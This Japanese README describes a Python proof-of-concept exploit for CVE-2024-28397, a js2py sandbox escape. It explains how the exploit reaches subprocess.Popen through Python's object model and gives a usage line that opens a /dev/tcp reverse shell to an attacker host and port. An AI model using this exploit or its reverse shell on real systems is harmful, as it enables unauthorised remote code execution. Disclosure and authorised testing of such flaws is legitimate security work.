
このリポジトリには、CVE-2024-28397(js2pyライブラリの脆弱性で、サンドボックスエスケープによるリモートコード実行を可能にするもの)の概念実証(PoC)が含まれています。
説明
このリポジトリには、Python用のJs2Py JavaScriptインタプリタにおけるサンドボックスエスケープの脆弱性であるCVE-2024-28397に対するPythonベースのProof of Concept(PoC)が含まれています。対象のアプリケーションがJs2Py経由で信頼できないJSコードを評価する場合、攻撃者はサンドボックスから脱出し、任意のPythonコードを実行できます。これを利用して、脆弱なシステム上でリモートコード実行(RCE)とリバースシェルを獲得できます。
このエクスプロイトは、Marven11のCVE-2024-28397-js2py-Sandbox-Escapeプロジェクトに触発されました。
免責事項
このスクリプトは、教育および許可されたペネトレーションテスト目的のみで提供されています。所有していない、または明示的なテスト許可がないシステムに対してこのスクリプトを無断で使用することは、違法かつ非倫理的です。作者は、このスクリプトの誤用またはそれによって生じた損害について一切の責任を負いません。
脆弱性について
__class__.__base__.__subclasses__ を介したPythonのオブジェクトモデルへの無制限アクセスにより、任意のコード実行が可能機能
要件
requests モジュール (pip install requests)/dev/tcp リバースシェル用)使用方法
python3 exploit.py --target http://example.htb --lhost 10.10.14.51 --lport 4444
--target: 脆弱なWebアプリケーションエンドポイントの完全なURL--lhost: ローカルIPアドレス(リバースシェルに使用)--lport: シェルを受信するローカルポート動作の仕組み
__class__.__base__.__subclasses__() を使用してPythonオブジェクトツリーを探索し、subprocess.Popen を見つけます。Popen を使用してシェルをデコードして実行します。